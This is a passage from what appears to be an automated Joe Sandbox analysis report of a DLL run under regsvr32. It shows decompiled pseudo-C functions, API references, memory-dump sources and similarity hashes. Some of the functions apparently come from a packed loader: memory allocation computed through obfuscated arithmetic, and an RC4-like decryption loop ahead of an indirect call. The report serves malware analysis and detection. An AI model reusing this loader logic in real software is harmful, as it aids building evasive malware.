																				 *0x6eb8d554 = (_t597 - _t597 * _t884 * _t1055 - _t1055 + 2) *  *0x6eb8a9c0 - (_t1056 + _t884) * _t884 - _t597 + _t597 + _t1025 + _t1056 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			}
																		}
																	} else {
																		goto L28;
																	}
																}
															}
														}
													}
												} else {
													_t237 = _t831 + 1; // 0x1
													VirtualFree( *(_t1196 + 0x18), _t1080, 0x8000 + ((_t698 + _t1042) *  *0x6eb8a9c4 + (1 - _t1120) * _t1120 + _t237 * _t831) * 4);
													goto L19;
												}
											} else {
												_t753 =  *0x6eb8a9cc; // 0x0
												_t1057 =  *0x6eb8a9c0; // 0x0
												_t886 =  *0x6eb8a9bc; // 0x0
												_t1081 =  *0x6eb8a9c8; // 0x0
												_t606 = _t753 *  *0x6eb8a9c4 - _t886 * _t1057;
												_t1030 = _t1057 + _t1057;
												_t204 = _t606 * 2; // -3
												_t607 =  *0x6eb8a9d0; // 0x0
												 *(_t1196 + 0x30) = _t1030 - _t1081 - _t607 +  *0x6eb8a9c4 + (_t1030 - _t1081 - _t607 +  *0x6eb8a9c4) * 2 + (_t753 *  *0x6eb8a9c4 - _t886 * _t1057 + _t204 - 3) * _t753 + 4;
												_t211 = _t1081 - 1; // -1
												_t212 = _t753 + 2; // 0x2
												_t1058 =  *0x6eb8a9bc; // 0x0
												_t215 = _t1081 + 1; // 0x1
												_t1061 =  *0x6eb8a9bc; // 0x0
												_t613 = VirtualAlloc(0, _t1030 - (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 + (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 +  *(_t1196 + 0x20), (_t211 *  *0x6eb8a9bc - _t1057 - 0x00000001) *  *0x6eb8a9c4 - (_t753 * _t1057 + 0x00000001) * _t1081 - _t212 * _t607 - _t1057 + _t1058 + 0x00001000 | 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 - _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607,  *(_t1196 + 0x30));
												 *(_t1196 + 0x18) = _t613;
												if(_t613 == 0) {
													goto L19;
												} else {
													goto L17;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x6eb44013
0x6eb4401b
0x6eb44022
0x6eb44029
0x6eb44037
0x6eb4403b
0x6eb44050
0x6eb44059
0x6eb4405d
0x6eb4406f
0x6eb4409b
0x6eb440a5
0x6eb447d0
0x6eb447d6
0x6eb440ab
0x6eb440ab
0x6eb440bd
0x6eb440d2
0x6eb440d7
0x6eb440ef
0x00000000
0x6eb440f5
0x6eb440f7
0x6eb440fa
0x6eb44100
0x6eb44144
0x6eb4414f
0x6eb44179
0x00000000
0x6eb4417f
0x6eb441a0
0x6eb441af
0x6eb441e7
0x00000000
0x6eb441ed
0x6eb441ed
0x6eb441f2
0x6eb441f8
0x6eb4420f
0x00000000
0x6eb44215
0x6eb4421c
0x6eb44220
0x6eb44227
0x6eb44242
0x00000000
0x6eb44248
0x6eb44248
0x6eb44250
0x6eb44263
0x6eb44286
0x6eb4428c
0x6eb44299
0x6eb442bf
0x6eb442c3
0x6eb442c7
0x6eb442d2
0x6eb44301
0x6eb4430c
0x6eb44314
0x6eb44320
0x6eb44328
0x6eb4439e
0x6eb4432a
0x6eb4432e
0x6eb44334
0x6eb44336
0x6eb44356
0x6eb4436d
0x6eb4436d
0x6eb443ad
0x6eb443ba
0x6eb443ca
0x6eb443ca
0x6eb443ce
0x6eb443d3
0x6eb443d3
0x6eb443d8
0x6eb443d8
0x6eb44320
0x6eb443f1
0x6eb44406
0x6eb4440c
0x6eb44412
0x6eb44418
0x6eb4441e
0x6eb44424
0x6eb44437
0x6eb4443d
0x6eb44462
0x6eb44476
0x6eb4447b
0x6eb44486
0x6eb444a6
0x6eb444ab
0x6eb444c4
0x6eb444cc
0x6eb444d0
0x6eb444d8
0x6eb444eb
0x6eb44511
0x6eb44516
0x6eb4451d
0x00000000
0x6eb44523
0x6eb44523
0x6eb44557
0x6eb44562
0x6eb4456d
0x6eb4458d
0x6eb445b0
0x6eb445cb
0x6eb445fe
0x6eb44604
0x6eb4460a
0x6eb446e2
0x6eb446e2
0x6eb446e8
0x6eb446ee
0x6eb446f4
0x6eb44704
0x6eb4470f
0x6eb4471e
0x6eb4472d
0x6eb4475c
0x6eb44762
0x6eb44768
0x6eb4476e
0x6eb44774
0x6eb4477c
0x6eb44798
0x6eb4479a
0x6eb447db
0x6eb447e7
0x6eb447f0
0x6eb447f4
0x6eb447fa
0x6eb44802
0x6eb44812
0x6eb44831
0x6eb4483d
0x6eb4484e
0x6eb44856
0x6eb4485a
0x6eb4485d
0x6eb44867
0x6eb4486b
0x6eb448a7
0x6eb448ae
0x6eb448b5
0x6eb448bc
0x6eb448c3
0x6eb448ca
0x6eb448d8
0x6eb448ed
0x6eb44914
0x6eb44919
0x6eb4491e
0x6eb44c59
0x6eb44c59
0x6eb44c67
0x6eb44924
0x6eb44924
0x6eb44931
0x6eb44939
0x6eb44944
0x6eb4494d
0x6eb4495f
0x6eb4496a
0x6eb449b1
0x6eb449b6
0x6eb449bc
0x6eb449c2
0x6eb449e2
0x6eb44a02
0x6eb44a0d
0x6eb44a13
0x6eb44a19
0x6eb44a1f
0x6eb44a25
0x6eb44a3b
0x6eb44a43
0x6eb44a4d
0x6eb44a53
0x6eb44a67
0x6eb44a90
0x6eb44a92
0x6eb44a94
0x6eb44a98
0x6eb44ac9
0x6eb44acc
0x6eb44ade
0x6eb44af6
0x6eb44b00
0x6eb44b01
0x6eb44b02
0x6eb44b03
0x6eb44b08
0x6eb44b0d
0x00000000
0x6eb44b13
0x6eb44b13
0x6eb44b18
0x6eb44b1e
0x6eb44b24
0x6eb44b4c
0x6eb44b5b
0x6eb44b5e
0x6eb44b6f
0x6eb44b60
0x6eb44b60
0x6eb44b61
0x6eb44b62
0x6eb44b67
0x6eb44b6a
0x6eb44b6a
0x6eb44b7e
0x6eb44b7f
0x6eb44b84
0x6eb44b89
0x00000000
0x6eb44b8f
0x6eb44b8f
0x6eb44b95
0x6eb44b9a
0x6eb44ba0
0x6eb44bb8
0x6eb44bbc
0x6eb44bd0
0x6eb44bed
0x6eb44bee
0x6eb44bf3
0x6eb44bf8
0x00000000
0x6eb44bfa
0x6eb44bfa
0x6eb44c00
0x6eb44c06
0x6eb44c16
0x6eb44c24
0x6eb44c32
0x6eb44c57
0x6eb44c6a
0x6eb44c6f
0x6eb44d49
0x6eb44d58
0x6eb44c75
0x6eb44c79
0x6eb44cd5
0x6eb44ce1
0x6eb44cf6
0x6eb44d0b
0x6eb44d16
0x6eb44d3c
0x6eb44d47
0x6eb44c7b
0x6eb44c7b
0x6eb44c80
0x6eb44c86
0x6eb44c9a
0x6eb44cbf
0x6eb44cc9
0x6eb44cd4
0x6eb44cd4
0x6eb44c79
0x00000000
0x00000000
0x00000000
0x6eb44c57
0x6eb44bf8
0x6eb44b89
0x6eb44b0d
0x6eb4479c
0x6eb447af
0x6eb447c7
0x00000000
0x6eb447c7
0x6eb44610
0x6eb44610
0x6eb44616
0x6eb4461c
0x6eb44625
0x6eb44634
0x6eb44636
0x6eb44639
0x6eb4463d
0x6eb44658
0x6eb4465c
0x6eb4467b
0x6eb44685
0x6eb44692
0x6eb4469f
0x6eb446d0
0x6eb446d6
0x6eb446dc
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb446dc
0x6eb4460a
0x6eb4451d
0x6eb44242
0x6eb4420f
0x6eb441e7
0x6eb44179
0x6eb440ef

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 6EB44406
VirtualAlloc.KERNELBASE(?,?,?,?,00000000,00000000), ref: 6EB445FE
VirtualAlloc.KERNEL32(00000000,?,?,?), ref: 6EB446D0
GetProcessHeap.KERNEL32(00000000,00000040), ref: 6EB44755
HeapAlloc.KERNEL32(00000000), ref: 6EB4475C
VirtualFree.KERNEL32(?,00000000,00000000), ref: 6EB447C7
memcpy.MSVCRT ref: 6EB44A0D

Strings

(, xrefs: 6EB443CE

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocVirtual$Heap$FreeInfoNativeProcessSystemmemcpy
String ID: (
API String ID: 2458747956-3887548279
Opcode ID: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction ID: a4118993fdd5250910575924dbb2071c0777827e6f31f27d28dcd5993297aaf3
Opcode Fuzzy Hash: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction Fuzzy Hash: 6E9282326047068FCB48DF68CAD5A56BBA9FB9A304F05853ED505CB3E5E674E609CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55723 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB55723(void* __ecx) {
				struct _CRITICAL_SECTION* _v8;
				void* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t34;
				void* _t35;
				void* _t36;
				long _t38;
				void* _t39;
				void* _t40;
				long _t51;
				signed char* _t53;
				intOrPtr _t56;
				signed int _t57;
				void* _t61;
				signed int _t68;
				void* _t72;

				_t59 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t72 = __ecx;
				_t1 = _t72 + 0x1c; // 0x6eb8c964
				_t34 = _t1;
				_v8 = _t34;
				EnterCriticalSection(_t34);
				_t3 = _t72 + 4; // 0x20
				_t56 =  *_t3;
				_t4 = _t72 + 8; // 0x3
				_t68 =  *_t4;
				if(_t68 >= _t56) {
					L2:
					_t68 = 1;
					if(_t56 <= 1) {
						L7:
						_t13 = _t72 + 0x10; // 0x2c75ea0
						_t35 =  *_t13;
						_t57 = _t56 + 0x20;
						_t83 = _t35;
						if(_t35 != 0) {
							_t36 = GlobalHandle(_t35);
							_v12 = _t36;
							GlobalUnlock(_t36);
							_t38 = E6EB4847A(_t59, __eflags, _t57, 8);
							_t61 = 0x2002;
							_t39 = GlobalReAlloc(_v12, _t38, ??);
						} else {
							_t51 = E6EB4847A(_t59, _t83, _t57, 8);
							_pop(_t61);
							_t39 = GlobalAlloc(2, _t51); // executed
						}
						if(_t39 == 0) {
							_t16 = _t72 + 0x10; // 0x2c75ea0
							_t72 =  *_t16;
							_t85 = _t72;
							if(_t72 != 0) {
								GlobalLock(GlobalHandle(_t72));
							}
							LeaveCriticalSection(_v8);
							_t39 = E6EB48B6C(_t57, _t61, _t68, _t72, _t85);
						}
						_t40 = GlobalLock(_t39);
						_t18 = _t72 + 4; // 0x0
						_v12 = _t40;
						E6EB65E80(_t68, _t40 +  *_t18 * 8, 0, _t57 -  *_t18 << 3);
						 *(_t72 + 4) = _t57;
						 *(_t72 + 0x10) = _v12;
					} else {
						_t10 = _t72 + 0x10; // 0x2c75ea0
						_t53 =  *_t10 + 8;
						while(( *_t53 & 0x00000001) != 0) {
							_t68 = _t68 + 1;
							_t53 =  &(_t53[8]);
							if(_t68 < _t56) {
								continue;
							}
							break;
						}
						if(_t68 >= _t56) {
							goto L7;
						}
					}
				} else {
					_t5 = _t72 + 0x10; // 0x2c75ea0
					if(( *( *_t5 + _t68 * 8) & 0x00000001) != 0) {
						goto L2;
					}
				}
				_t25 = _t72 + 0xc; // 0x0
				if(_t68 >=  *_t25) {
					_t26 = _t68 + 1; // 0x1
					 *((intOrPtr*)(_t72 + 0xc)) = _t26;
				}
				_t28 = _t72 + 0x10; // 0x2c75ea0
				 *( *_t28 + _t68 * 8) =  *( *_t28 + _t68 * 8) | 0x00000001;
				_t32 = _t68 + 1; // 0x4
				 *(_t72 + 8) = _t32;
				LeaveCriticalSection(_v8);
				return _t68;
			}

0x6eb55723
0x6eb55728
0x6eb55729
0x6eb5572c
0x6eb5572e
0x6eb5572e
0x6eb55733
0x6eb55736
0x6eb5573c
0x6eb5573c
0x6eb5573f
0x6eb5573f
0x6eb55744
0x6eb55753
0x6eb55755
0x6eb55758
0x6eb55775
0x6eb55775
0x6eb55775
0x6eb55778
0x6eb5577b
0x6eb5577d
0x6eb55795
0x6eb5579c
0x6eb5579f
0x6eb557ad
0x6eb557b3
0x6eb557b8
0x6eb5577f
0x6eb55782
0x6eb55788
0x6eb5578c
0x6eb5578c
0x6eb557c0
0x6eb557c2
0x6eb557c2
0x6eb557c5
0x6eb557c7
0x6eb557d1
0x6eb557d1
0x6eb557da
0x6eb557e0
0x6eb557e0
0x6eb557e6
0x6eb557ec
0x6eb557f7
0x6eb55800
0x6eb5580b
0x6eb5580e
0x6eb5575a
0x6eb5575a
0x6eb5575d
0x6eb55760
0x6eb55765
0x6eb55766
0x6eb5576b
0x00000000
0x00000000
0x00000000
0x6eb5576b
0x6eb5576f
0x00000000
0x00000000
0x6eb5576f
0x6eb55746
0x6eb55746
0x6eb5574d
0x00000000
0x00000000
0x6eb5574d
0x6eb55811
0x6eb55814
0x6eb55816
0x6eb55819
0x6eb55819
0x6eb5581c
0x6eb55825
0x6eb55828
0x6eb5582b
0x6eb5582e
0x6eb5583a

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB55736
GlobalAlloc.KERNELBASE(00000002,00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5578C
GlobalHandle.KERNEL32(02C75EA0), ref: 6EB55795
GlobalUnlock.KERNEL32(00000000,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB5579F
GlobalReAlloc.KERNEL32 ref: 6EB557B8
GlobalHandle.KERNEL32(02C75EA0), ref: 6EB557CA
GlobalLock.KERNEL32 ref: 6EB557D1
LeaveCriticalSection.KERNEL32(?,?,00000000,6EB8C948,6EB8C948,?,6EB55A86,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB557DA
GlobalLock.KERNEL32 ref: 6EB557E6
_memset.LIBCMT ref: 6EB55800
LeaveCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,6287AE78), ref: 6EB5582E

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
Instruction ID: 4481b58d255cbe5142acee66a34acb2938a50c4d93f537f6c5973b45ce1918b0
Opcode Fuzzy Hash: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
Instruction Fuzzy Hash: 7931AF71611B45EFDB20DFA4C888A8A7BF9FF44301F01892DE596D3A50DB30F9508B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB642E6 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E6EB642E6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x6eb85318);
				_t8 = E6EB66608(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E6EB6664D(_t8);
				}
				if( *0x6eb8e75c != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x6eb8cd8c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E6EB66B6E(_t31);
						 *_t10 = E6EB66B2C(GetLastError());
					}
					goto L9;
				}
				E6EB6AEB4(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E6EB6AEE7(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E6EB6AF17();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E6EB6433C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x6eb642e6
0x6eb642e8
0x6eb642ed
0x6eb642f2
0x6eb642f7
0x6eb6436e
0x6eb64373
0x6eb64373
0x6eb64300
0x6eb64345
0x6eb64346
0x6eb64346
0x6eb6434e
0x6eb64354
0x6eb64356
0x6eb64358
0x6eb6436b
0x6eb6436d
0x00000000
0x6eb64356
0x6eb64304
0x6eb6430a
0x6eb6430f
0x6eb64315
0x6eb6431a
0x6eb6431c
0x6eb6431d
0x6eb6431e
0x6eb64324
0x6eb64325
0x6eb6432c
0x6eb64335
0x00000000
0x6eb64337
0x6eb64337
0x00000000
0x6eb64337

APIs

__lock.LIBCMT ref: 6EB64304

Part of subcall function 6EB6AEB4: __mtinitlocknum.LIBCMT ref: 6EB6AECA
Part of subcall function 6EB6AEB4: __amsg_exit.LIBCMT ref: 6EB6AED6
Part of subcall function 6EB6AEB4: EnterCriticalSection.KERNEL32(00000000,00000000,?,6EB6A8CA,0000000D,6EB85460,00000008,6EB6A9C1,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB6AEDE

___sbh_find_block.LIBCMT ref: 6EB6430F
___sbh_free_block.LIBCMT ref: 6EB6431E
RtlFreeHeap.NTDLL(00000000,00000000,6EB85318,0000000C,6EB6A810,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6434E
GetLastError.KERNEL32(?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF,00000000,00000000,?,6EB6A8CA,0000000D), ref: 6EB6435F

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction ID: a2564f488d074e78d120897aa17d4ce6d9fbd8dd9ceab68c7b1c6e03dec9e896
Opcode Fuzzy Hash: 491cd63953bc341d17fc5fd91731d1238c85ff86b31d8f7eeccf33eb506a8d38
Instruction Fuzzy Hash: 2C012C72825BA2EADF205FF09D197CE3F68FB01324F104929E514A7194DB3485418B55

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42060 Relevance: 3.2, APIs: 2, Instructions: 225
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 35%

			E6EB42060(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				signed int _v4;
				intOrPtr _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _v28;
				signed int _v32;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t100;
				void* _t101;
				signed int _t104;
				intOrPtr _t108;
				signed int _t109;
				signed int _t133;
				char _t143;
				signed int _t145;
				signed int _t155;
				signed int _t187;
				signed int _t213;
				signed int _t217;
				signed int _t220;
				signed int _t247;
				intOrPtr _t255;
				signed int _t256;
				intOrPtr _t262;
				char* _t263;
				signed int _t267;
				signed int _t270;
				intOrPtr _t271;
				signed int _t273;
				void* _t274;
				signed int _t275;
				intOrPtr _t276;

				_t96 =  *0x6eb8a9cc; // 0x0
				_t213 =  *0x6eb8a9bc; // 0x0
				_t97 =  *0x6eb8a9c0; // 0x0
				_t98 =  *0x6eb8a9c8; // 0x0
				_t100 =  *0x6eb8a9c4; // 0x0
				_v4 = 0;
				_t101 = malloc(((_t96 * _t96 * _t96 * _t97 + _t213) * 4 - 8) * _t97 + (_t98 * _t213 * 4 - 4) *  *0x6eb8a9d0 - _t100 * 4 + 0x204d);
				_t267 =  *0x6eb8a9cc; // 0x0
				_t217 =  *0x6eb8a9c0; // 0x0
				_t275 =  *0x6eb8a9c8; // 0x0
				_v28 = _t101;
				_v32 = 0;
				_t273 =  *0x6eb8a9bc; // 0x0
				_t10 = _t217 - 3; // -3
				_v24 = _t273 * _t267;
				_t104 =  *0x6eb8a9d0; // 0x0
				_t108 = (4 - _v24 + _v24 + _v24 + _v24) * _t273 + (_t104 + _t104 * 2 + (_t273 + _t10) * _t275 +  *0x6eb8a9c4) * 4 + (4 - _t267 * 4) * _t217 + 0x204d;
				_v8 = _t108;
				if(_t108 > 0) {
					_t145 =  *0x6eb8a9d0; // 0x0
					_t262 = _v28 - _t267 * _t217 + _t145 + _t273 + (_t267 * _t217 + _t145 + _t273) * 2;
					_t24 = _t267 + 1; // 0x1
					_v16 = (_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273 + ((_t145 * _t273 - 2) * _t217 - _t24 * _t267 - _t275 + _t273) * 2 - _t262 + _a4;
					_t155 = _v32;
					_v20 = _t262;
					while(1) {
						_t263 = _t262 + _t155;
						 *(_v16 + _t263) = _t155;
						_v12 = _t263;
						 *_v12 =  *((intOrPtr*)(_t155 % _a12 + _a8));
						_t155 = _v32 + 1;
						_v32 = _t155;
						if(_t155 >= _v8) {
							goto L4;
						}
						_t262 = _v20;
					}
				}
				L4:
				_t109 =  *0x6eb8a9c4; // 0x0
				_t48 = _t267 + 1; // 0x1
				_t247 =  *0x6eb8a9c4; // 0x0
				_v8 = _t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267 + _a4 + (_t48 * _t273 + (2 - _t109) * _t275 + _t109 + ((_t217 - _t273) * _t267 - _t109 - 1) *  *0x6eb8a9d0 + _t267) * 4;
				_t53 = _t247 * _t267 + 2; // 0x3
				_v12 = ((1 - _t273) *  *0x6eb8a9d0 + _t53) * _t247 - _v24 * _t217 * _t217 - _t275 * _t275 * _t217 - _t275 * _t267 * _t217 - _t275 + _t267 + _a4;
				_t255 = _a4;
				_v20 = (4 - _t217 * 4) * _t217 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 + _t247 * _t273 - _t275 - (4 + _t267 * 4) *  *0x6eb8a9d0 + _t255;
				_t187 =  *0x6eb8a9c4; // 0x0
				_v16 = _v28 - _t217 + _t217 * 2 + _t217 + _t217 * 2;
				_t133 =  *0x6eb8a9d0; // 0x0
				_t270 =  *0x6eb8a9c4; // 0x0
				_v32 = 0;
				_v24 = ((_t187 * _t133 * _t273 - 1) * _t217 - _t275 - 3) * _t275 - _t267 + _t133 + (_t267 + _t133) * 2 + _t270 * 2 - _t217 + _t273 + _t255;
				_t72 = _t273 + 1; // 0x1
				_t276 = _v12;
				_t220 = _v32;
				_t271 = _v8;
				_t256 = _v4;
				_t274 = (_t133 + _t133 - 2) * _t275 + _t255 + (_t72 * _t217 - _t133 * _t273 + _t270) * 2;
				do {
					asm("cdq");
					_t256 = (( *(_v20 + _t220) & 0x000000ff) +  *((char*)(_v16 + _t220)) + _t256) % 0x204d;
					_t143 =  *((intOrPtr*)(_v24 + _t220));
					_t220 = _t220 + 1;
					 *((char*)(_t274 + _t220 - 1)) =  *((intOrPtr*)(_t271 + _t256));
					 *((char*)(_t256 + _t276)) = _t143;
				} while (_t220 < 0x204d);
				return  *0x6eb8d530(_v28);
			}

0x6eb42063
0x6eb4206d
0x6eb42076
0x6eb4208a
0x6eb420a0
0x6eb420bd
0x6eb420c1
0x6eb420c7
0x6eb420cd
0x6eb420d3
0x6eb420d9
0x6eb420dd
0x6eb420e1
0x6eb420ec
0x6eb420f9
0x6eb420fd
0x6eb4212d
0x6eb42137
0x6eb4213d
0x6eb4213f
0x6eb4215d
0x6eb4215f
0x6eb42176
0x6eb4217a
0x6eb4217e
0x6eb42188
0x6eb4218c
0x6eb4218e
0x6eb42191
0x6eb421a6
0x6eb421ac
0x6eb421b1
0x6eb421b5
0x00000000
0x00000000
0x6eb42184
0x6eb42184
0x6eb42188
0x6eb421b7
0x6eb421b7
0x6eb421df
0x6eb421ee
0x6eb421f4
0x6eb4220b
0x6eb42255
0x6eb42269
0x6eb42278
0x6eb42283
0x6eb42289
0x6eb4228d
0x6eb422ab
0x6eb422b1
0x6eb422c2
0x6eb422c6
0x6eb422d8
0x6eb422de
0x6eb422e4
0x6eb422ea
0x6eb422ee
0x6eb422f1
0x6eb42305
0x6eb4230b
0x6eb42311
0x6eb42314
0x6eb4231e
0x6eb42322
0x6eb42322
0x6eb4233c

APIs

malloc.MSVCRT ref: 6EB420C1
??3@YAXPAX@Z.MSVCRT ref: 6EB4232C

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ??3@malloc
String ID:
API String ID: 3530088491-0
Opcode ID: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction ID: 525a7e043fd80f8aa30288f0d5314e12f1d275ad661c67fe505f0959cb1bd819
Opcode Fuzzy Hash: a2ed43081e398aced604624aaaa81a05dd64394a47bb89aa2cc9b2148e6a393e
Instruction Fuzzy Hash: 5D9162717057028FC708CF6CCAC5646BBE6FBDA300F09967AA945CB3A9D674E609CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EB42D80 Relevance: 1.7, APIs: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E6EB42D80() {
				intOrPtr _t105;
				signed int _t124;
				signed int _t131;
				signed int _t145;
				signed int _t147;
				signed int _t150;
				long _t159;
				signed int _t162;
				signed int _t166;
				signed int _t173;
				signed int _t193;
				signed int _t200;
				signed int _t217;
				long _t220;
				signed int _t221;
				signed int _t232;
				signed int _t241;
				signed int _t246;
				signed int _t252;
				long _t255;
				signed int _t260;
				void* _t278;

				_t220 =  *(_t278 + 0x14);
				_t105 =  *((intOrPtr*)(_t220 + 8));
				_t255 =  *(_t278 + 0x14);
				 *((intOrPtr*)(_t278 + 4)) = _t105;
				if(_t105 != 0) {
					_t217 =  *0x6eb8a9c8; // 0x0
					_t173 =  *0x6eb8a9d0; // 0x0
					_t252 =  *0x6eb8a9cc; // 0x0
					if(( *(_t220 + 0xc) & _t217 - _t173 + _t252 + 0x02000000 + (_t217 - _t173 + _t252) * 0x00000002) == 0) {
						_t221 =  *0x6eb8a9c0; // 0x0
						_t241 =  *0x6eb8a9c4; // 0x0
						_t40 = _t252 + 2; // -1857595834
